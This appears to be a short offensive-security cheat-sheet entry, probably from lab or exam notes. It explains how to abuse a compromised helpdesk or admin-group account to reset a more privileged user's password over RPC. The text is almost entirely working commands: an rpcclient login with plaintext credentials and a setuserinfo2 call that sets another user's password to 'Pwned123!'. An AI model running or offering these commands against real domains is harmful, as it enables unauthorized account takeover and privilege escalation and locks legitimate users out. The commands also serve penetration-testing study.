RPC Password Change

If your compromised user is ever apart of a "Support" "IT" or "Admin" group, try resetting another user with more privileges password

rpcclient -N 192.168.193.40 -U IT_User%haze1988

setuserinfo2 John.Smith 23 'Pwned123!'